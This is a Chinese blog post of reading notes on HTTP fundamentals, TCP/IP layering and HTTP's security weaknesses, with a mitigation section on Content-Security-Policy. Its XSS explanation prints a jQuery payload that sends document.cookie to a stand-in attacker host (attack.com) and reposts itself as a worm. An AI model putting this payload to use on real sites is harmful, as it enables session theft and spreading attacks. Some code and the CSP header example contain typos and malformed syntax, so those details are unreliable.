我們在輸入網址的時候一般是www.baidu.com，瀏覽器都會自動幫我們加上HTTP或者HTTPS這樣的前綴，國內對於HTTPS講解的書很少，最近有空拜讀了《深入淺出https：從原理到實戰》這本書，接下來會分幾次表述一下對於這本書的一些筆記或者理解。
瞭解HTTPS之前需要先了解HTTP，知道了HTTP的侷限，才能掌握HTTPS安全的本質。
- 基本概念
在TCP/IP網絡協議成熟以後，世界上任何的設備只要支持TCP/IP就能成爲互聯網的一個終端，我們安裝的瀏覽器都安裝了這個協議。
當TCP/IP逐步流行後，數據傳輸變得非常容易，任何終端，不管是個人計算機還是手機設備，只要支持TCP/IP，數據就能夠從世界上任意一端傳輸到另外一端，距離不再是問題。
但互聯網傳輸字節流數據不是人能夠看得懂的，爲了翻譯這些數據，讓通信的兩方用同樣的方式去解讀這些數據，我們必須定義一個標準，這樣兩邊才能正確的解讀數據內容，這就是應用層HTTP的雛形。
HTTP到現在能夠傳輸的數據類型越來越多，有文字、圖片、視頻等，有了協議，有了內容，如何把這些內容串聯起來。
HTTP的意思是超文本傳輸協議，其中的超文本的意思是關聯關係，就是可以從一個地方跳到另外一個地方，就是我們常用的URL，URL代表的互聯網的一個資源的地址。
最終Web技術產生了，Web技術是Tim Berners-Lee教授在1980年提出的一個設想，主要包括三個技術，分別是HTML、URL、HTTP。即使到今天，Web模型也沒有太大的變化
HTTP概念：超文本傳輸協議，超文本就是HTML，傳輸表示由HTTP負責客戶端和服務器的數據傳輸和解析。客戶端發送一個HTTP請求至服務器，服務器響應該請求，將數據再發送給客戶端。HTTP由一系列規則組成，客戶端和服務器需要正確的處理這些規則，HTTP可以認爲是信息的載體，信息的內容是由HTML頁面組成的。
URL概念：Web由很多資源組成，比如HTML頁面、視頻、圖片，在互聯網上每個資源都有一個編號，這個編號就是URL地址。服務器負責定義URL，世界上任何一個資源的編號是唯一的，客戶端通過URL地址在互聯網中找到該資源，URL的官方名稱叫作統一資源標識符（Uniform ResourceLocator）。
URL的規則定義如下：
http://www/example.com:80/index.html
http表示資源需要通過HTTP這個協議才能夠獲取，換句話說，客戶端需要通過HTTP這個協議請求這個資源。
www.example.com表示服務器地址，在互聯網中每個服務器都有一個IP地址，但對於用戶來說IP地址很難記住，用戶一般只會記住服務器主機（比如www.baidu.com的ip是180.101.49.11，但我們進百度的時候都不會輸入IP，只會輸入網址）名稱。
在HTTP中，客戶端發送HTTP請求的時候，必須通過DNS協議將服務器主機名轉換爲IP地址，這樣客戶端才能找到服務器。80是HTTP協議的默認端口（可以省略不輸入），表示服務器通過80端口提供HTTP服務。/index.html表示服務器在/根目錄下有一個index.html資源。這就是URL的全部，主要是定義資源的互聯網地址，URL雖然和HTTP是緊密關聯的，但在Web中是互相獨立的。
HTML概念：早期的互聯網傳輸的就是文字，後來爲了方便閱讀加入了一些樣式，比如加粗，換行，標紅等等，對文字進行特殊的處理，還可以通過URL來進行圖片和視頻資源的引用。這些對文字進行特殊處理的規則發展成CSS和JS語言，他們都是HTML的一部分。
Web，大家可能有一個概念，在瀏覽器中輸入一個網址，返回對應網站的頁面，然後點點點或者搜索就能找到我們需要的內容，這些返回的內容通過F12鍵位查看，其實是一個個HTML的頁面，這些頁面就構成了Web，也被稱爲WWW（world wide web）。
在web訪問中，我們從瀏覽器發出請求，瀏覽器就是客戶端，接受請求的就是服務器，比如我們在百度裏面搜索西紅柿，瀏覽器就會把這個請求發送到百度的服務器，服務器返回搜索的內容，這個過程中HTTP扮演的是數據請求和響應的角色，真正的數據傳輸是由其他網絡層進行處理的。
Web其實是我們常說的互聯網的一部分，互聯網還包含郵件應用、FTP等，現在我們基本認爲web就是互聯網。
Web最核心的內容就是HTTP，HTTP由服務器和客戶端組成，有了HTTP不同的終端才能交換數據。
- 理解HTTP
以谷歌瀏覽器的請求爲例，以上是一個簡單的請求，請求的URL是http://www.example.com/index.html，請求的方式是get請求，如果對資源做一定的修改的話一般是post請求，status code表示請求的狀態，200 ok表示請求和返回都正常，異常的有400、404等。
Remote address表示請求服務器的IP地址和端口，從請求可以看出請求域名最終會被解析成IP地址。
上面是請求的頭包含的一些參數：
Accept-Encoding:gzip
表示瀏覽器支持的數據壓縮算法是gzip，壓縮之後傳輸的內容會更小，目的是爲了更快的傳輸，參數是gzip等於告之服務器，是否可以使用gzip算法壓縮響應後再發送。服務器收到請求後解析Accept-Encoding頭部，瞭解客戶端希望使用gzip壓縮算法壓縮HTTP響應。如果服務器支持gzip壓縮算法，會對所有的HTML響應壓縮後再發送給客戶端（頭部並不壓縮），爲了讓客戶端知道響應是經過gzip壓縮的，需要輸出Content-Encoding:gzip頭部，如果服務器不支持gzip算法，也可以原樣將HTML響應發送給客戶端，並且不輸出Content-Encoding頭部。
Connection: keep-alive
當一個網頁打開之後，等於客戶端和服務端已經建立起了TCP連接，連接參數是keep-alive表示後面客戶端的訪問會繼續使用這個連接而不必再次建立，如果隨時關閉的話可以設置爲close，這個連接不是一直連接，而是有一定的時間，可以在服務器上進行設置。
Host：www.example.com
需要DNS解析器進行解析。加入你在阿里雲購買了一個服務器和一個域名，需要將域名和服務器進行綁定，也就是讓DNS能夠把你的域名解析成你服務器的IP。
User-Agent: Mozilla/5.0
客戶端的瀏覽器版本。
上面是返回的頭，下面是返回的HTML內容：
<!doctype html>
<html>
<head>
<title>Example Domain</title>
<meta charset="utf-8" />
<meta http-equiv="Content-type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<style type="text/css">
body {
background-color: #f0f0f2;
margin: 0;
padding: 0;
font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", "Open Sans", "Helvetica Neue", Helvetica, Arial, sans-serif;
}
div {
width: 600px;
margin: 5em auto;
padding: 2em;
background-color: #fdfdff;
border-radius: 0.5em;
box-shadow: 2px 3px 7px 2px rgba(0,0,0,0.02);
}
a:link, a:visited {
color: #38488f;
text-decoration: none;
}
@media (max-width: 700px) {
div {
margin: 0 auto;
width: auto;
}
}
</style>
</head>
<body>
<div>
<h1>Example Domain</h1>
<p>This domain is for use in illustrative examples in documents. You may use this
domain in literature without prior coordination or asking for permission.</p>
<p><a href="https://www.iana.org/domains/example">More information...</a></p>
</div>
</body>
</html>
這個HTML在瀏覽器上顯示出來就是：
HTTP有以下幾個特點：
- 客戶端/服務器模型
HTTP是一個客戶端/服務器模型， 它本身是不能傳輸的，需要通過網絡層中的其他協議進行通信，一般構建在TCP之上。TCP能夠提供一個可靠的、面向連接的傳輸服務，換句話說，客戶端和服務器是否正確傳輸依賴於TCP這個協議。
2）HTTP是無狀態的
HTTP是基於TCP的，早期的請求完成之後TCP連接會關閉，完全和上一次的請求沒有關係。
在互聯網早期，可以說這種設計很好，但是現在的Web應用越來越豐富，無狀態的設計已經不能適應新的情況，爲了保持狀態，出現了Cookie和Session技術，但是Cookie技術設計得非常不嚴謹，引發了很多安全問題。。
3）HTTP是跨平臺的
通過上面的講解，讀者知道HTTP就是具備一定規則的純文本信息，任何開發語言都可以實現HTTP或者基於HTTP進行開發，開發出來的軟件也很容易移植，受系統環境的影響非常少。
4）HTTP用途很廣泛
Web主要使用HTTP進行傳輸數據，HTTP更多的是一個數據載體，對於Web應用來說更重要的是瀏覽器如何處理這些數據，這些本身和HTTP關係並不大。考慮到HTTP如此簡單，基於HTTP的應用非常多，比如，不管是iOS還是Andriod應用，都需要調用基於HTTP的API接口。
TCP/IP概述
TCP/IP是標準的互聯網網絡協議，沒有該協議就沒有互聯網，互聯網上的終端必須配置TCP/IP才能進行通信。
任何協議都是一種標準，標準的含義就是通信雙方需要遵循相同的規則，才能互相協作。想象兩個人互相打電話，撥打電話的人首先要知道對方的手機號（IP地址），然後撥打電話確保連接上對方（TCP），通過IP選擇一條最優的傳輸路徑，最終應用層數據（人的語言）通過終端（網卡）、網絡設備（電話線）傳輸給對方。
它的層級大概如下：
- 應用層
如果沒有應用層，那麼網絡中傳輸的數據沒有任何意義，因爲人類無法理解數據的含義。而有了應用層，軟件就能解釋應用層數據的含義。在Web應用中，有了HTTP和HTML標準，瀏覽器才能呈現對用戶有意義的內容。應用層協議有很多，比如HTTP、FTP、郵件協議，開發者開發的軟件一般都是應用層協議軟件。
- 傳輸層
客戶端傳輸層接收到應用層消息後，負責連接服務器，但服務器有很多服務，服務器如何知曉客戶端需要連接的服務呢？傳輸層中通過端口來區分服務，通過IP地址和端口號才能構建一條傳輸通道，對於HTTP來說，服務器端口號默認是80，而客戶端的端口是隨機產生的。傳輸層主要有TCP和UDP, TCP能夠保證數據正確地到達，一旦出現錯誤，會有一系列處理機制，比如重發和校驗機制，保證數據正確地傳輸到對端。HTTP構建在TCP之上，在連接階段，TCP使用三次握手機制確保可靠傳輸。
1.初始化連接，客戶端發送SYN消息（隨機值x）請求一個新連接。
2.服務器接收SYN消息，發送SYN ACK響應消息。
3.客戶端發送ACK消息確認本次連接成功。
UDP不能保證數據正確傳達，比如客戶端收到數據後，不會向服務器確認本次接收到的數據有多少，所以服務器也無法確認客戶端是否正確收到了數據，UDP的優點就是性能高，減少了很多開銷。
- 網絡層
網絡層主要是IP這個協議，客戶端和服務器傳輸的時候，會經過很多節點，IP就是選擇一條最優的路徑。每個終端上都有一張路由表，路由表負責將數據傳輸到下一個節點，下一個節點再傳輸到下下個節點，最終到達目的地址。
- 鏈路層
應用層、傳輸層、網絡層都是虛擬的，只有鏈路層纔是實體設備，包括光纖、網卡等設備。基於這些設備，數據最終才能到達終端。
接下來簡單描述封包/拆包機制，對於客戶端請求來說，傳輸層接收到應用層消息後，在HTTP數據包前面增加TCP包頭，然後發送給網絡層；網絡層在TCP數據包前面加上IP包頭髮送給鏈路層；鏈路層在IP數據包前面加上以太網包頭；最終服務器接收到完整的數據包。
然後服務器進行拆包：首先在網絡層去除鏈路層包頭；在傳輸層去除IP包頭；在應用層去除TCP包頭；最終得到完整的HTTP應用層數據。
協議安全分析
知道了基本的概念，下面分析互聯網安全，包括兩部分：
HTTP本身的安全和Web應用的安全。
HTTP安全：
- 無線WIFI攻擊：現在走到哪裏先問WiFi密碼，但是一些攻擊者會提供免費的WiFi，當你使用HTTP協議的情況下，連接這些WiFi的時候，你將沒有任何的隱私。
提供WiFi的人可以截獲所有的HTTP流量，而HTTP流量本身都是明文的，這就導致任何的個人信息、密碼等全部被截獲，而使用這些WiFi的人並沒有感知，這叫被動攻擊。
- 垃圾廣告攻擊：很多用戶瀏覽某個網頁的時候，經常發現頁面上彈出一個廣告，而這個廣告和訪問的網頁根本毫無關係，這種攻擊很常見，主要是ISP（互聯網服務提供商）發動的一個攻擊，用戶根本沒有任何辦法防護。用戶訪問網站的時候肯定經過ISP, ISP爲了一些目的，比如獲取廣告費用，在響應中插入一段HTML代碼，就導致了該攻擊的產生。這種攻擊稱爲主動攻擊，也就是攻擊者知曉攻擊的存在。
這種攻擊用戶還能忍受，更嚴重的是ISP或者攻擊者在頁面中插入一些惡意JavaScript腳本，腳本一旦在客戶端運行可能會產生更惡劣的後果，比如XSS攻擊（跨站腳本攻擊）。
協議不安全的根本原因：
- 數據沒有加密：
HTTP本身傳遞的是明文，不會加密這些信息，只要攻擊者能夠獲取這些明文，用戶的隱私就完全暴露了。HTTP是基於TCP/IP的，TCP/IP的特點也決定了HTTP數據很容易被截獲，網絡傳輸過程中，路由策略決定HTTP數據會通過很多節點設備，節點很輕鬆就能截獲明文數據，由於數據沒有加密，很容易理解其含義。
2．無法驗證身份
在HTTP應用中，客戶端和服務器並不能確認對方的身份，在HTTP標準中，沒有校驗對端身份的標準。對於服務器來說，它接收的HTTP請求格式只要正確，就發送響應信息。對於客戶端來說同樣如此，它連接的是www.example.com主機，但由於有中間節點的存在，最終連接的可能是www.example.cn主機，但對於客戶端來說，它無法校驗服務器的身份。
3．數據易篡改
HTTP數據在傳輸過程中，會經過很多節點，這些節點都可以修改原始數據，而對於客戶端和服務器來說，沒有任何技術來確保接收的數據就是發送者發送的原始數據。
由於沒有機制確保數據的完整性，客戶端和服務器只能無條件信任接收到的數據，這也產生了很多安全問題，篡改數據也叫作中間人攻擊。比如ISP插入廣告的例子，如果有一種機制能夠讓瀏覽器知曉數據已經被篡改，那麼瀏覽器就可以告知用戶危險，並中斷本次請求。
Web應用安全
HTTP只負責數據傳輸，真正的攻擊對象是瀏覽器（用戶）和服務器（數據）。
互聯網早期服務器負責輸出數據，客戶端基於HTML負責渲染，標籤和元素非常少，這種羣情況下攻擊只要構建一條不規範的HTTP請求就行了，也有利用程序的漏洞來進行SQL注入破壞服務器數據。
互聯網中期HTML擴展了很多標籤，腳本語言JS等廣泛使用，在客戶端完成的邏輯越來越多，可供攻擊的模式也越來越多，執行惡意腳本等成爲常見的手法。
這裏以常見的XSS攻擊方式進行說明，XSS就是利用應用程序的漏洞，誘使用戶觸發惡意代碼，從而自動發送惡意的HTTP請求至服務器，造成自動攻擊。
通過一個博客系統來描述XSS攻擊：
攻擊者發現一個博客系統存在漏洞，發表文章的時候，服務器沒有轉義或者過濾數據
攻擊者用賬號登錄博客系統，打開文章編輯器，輸入正常的內容，但是在文章末尾加入一段惡意代碼（<script type='text/javascript'src='http://www.attack.com/attack.js'></script>）。
由於服務器沒有任何的校驗機制，所以正常生成了一篇文章，比如http://www.example.com/article.html。
攻擊者將這篇文章的地址發送到各大論壇，或者將文章地址用郵件發送給其他人。
不明真相的人一旦打開這篇文章，瀏覽器就會下載並置執行attack.js文件，由於該文件包含了惡意代碼，就可以進行攻擊
<script type=" text/ javascript" >
$ (function() {
var cookie = encodeURIComponent (document. cookie)
$(’<img src="http://www. attack. com/attack. php? cookie=' + cookie+’">').appendTo($ (document. body))
var content = "<scr"+" ipt type='text/javascript' src=' http://wwww.attack.com/attack. js’></scr"+" ipt>"
$.post("http://www.example.com/sendArticle.php",{content :content},function(result) {});
})
</script>
這段代碼中會產生兩個攻擊：將用戶www.example.com主機下的所有Cookie信息發送給攻擊者。自動以正常用戶的身份生成一篇文章，而這篇文章包含同樣的攻擊代碼。
目前的互聯網
目前互聯網更關注移動互聯網，尤其是手機設備，爲了更好地支持移動設備並提升性能，提出了HTML5標準，HTML5標準是下一代HTML標準。HTML5支持了更多的功能，比如說地理位置、照相機，而這些功能是手機設備本身具備的。對於開發者來說，由於擁有了更多的設備控制能力，會進一步導致安全問題，比如在HTML舊標準中，客戶端JavaScript最多獲取設備上的Cookie，不能獲取設備的其他信息，而在HTML5中，客戶端還能獲取手機照片庫信息，一旦應用實現出現問題，會暴露設備上更多的隱私信息，所以瀏覽器在實現HTML5標準的時候，會有很多的安全策略，這些標準是由W3C指定的。
W3C
Tim Berners-Lee教授提出Web技術後成立了W3C組織，W3C主要制定Web技術的標準，比如HTML標準、DOM標準、CSS標準、ECMAScript標準，而實現這些標準主要由瀏覽器廠商或者服務器廠商完成。如果沒有嚴格遵守標準，會產生很多兼容和安全問題。
在互聯網早期，W3C沒有過多考慮安全問題，而目前W3C有了更多的安全標準，尤其在制定HTML5標準的時候，充分考慮了安全問題。
W3C主要以HTTP頭部的方式提供安全保護，比如Access-Control-Allow-Origin、X-XSS-Protection、Strict-Transport-Security、Content-Security-Policy HTTP頭部，一旦開發者和瀏覽器正確地遵守安全標準，就能緩解安全問題。
比如前面的XSS攻擊，主要原因就在於瀏覽器執行了一個外部JavaScript腳本，如果瀏覽器按照策略不加載外部腳本，攻擊就無從談起了。比如服務器輸出下面的Content-Security-Policy頭信息，等於告訴瀏覽器只允許加載www.example.com本域下的腳本文件，就能避免XSS攻擊。
Content-Security-Policy: default-src:’self’; script-src: http://www.example.com;
